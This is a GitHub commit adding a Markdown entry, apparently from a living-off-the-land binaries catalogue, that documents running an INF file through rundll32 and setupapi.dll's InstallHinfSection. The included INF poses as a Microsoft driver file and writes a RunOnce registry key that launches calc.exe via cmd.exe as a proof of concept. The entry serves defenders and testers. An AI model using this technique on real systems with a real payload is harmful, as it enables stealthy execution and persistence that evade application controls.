Create Setupapi.md

master
giMini 2018-05-10 20:56:16 -04:00 committed by GitHub
parent 195eac097f
commit ea06a6c466
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 46 additions and 0 deletions

46
OSLibraries/Setupapi.md Normal file
View File

@ -0,0 +1,46 @@
## Setupapi.dll
* Functions: Execute
```
rundll32 setupapi,InstallHinfSection DefaultInstall 132 c:\temp\calc.inf
```
Acknowledgements:
* Pierre-Alexandre Braeken - @pabraeken
Code sample:
*
Resources:
* https://twitter.com/pabraeken/status/994742106852941825
Full path:
```
c:\windows\system32\Setupapi.dll
c:\windows\sysWOW64\Setupapi.dll
```
Notes:
calc.inf
```
; DRIVER.INF
; Copyright (c) Microsoft Corporation. All rights reserved.
[Version]
Signature = "$CHICAGO$"
Class=61883
ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}
Provider=%Msft%
DriverVer=06/21/2006,6.1.7600.16385
[DestinationDirs]
DefaultDestDir = 1
[DefaultInstall]
AddReg = CalcStart
[CalcStart]
HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,cmd.exe /c """calc.exe"""
```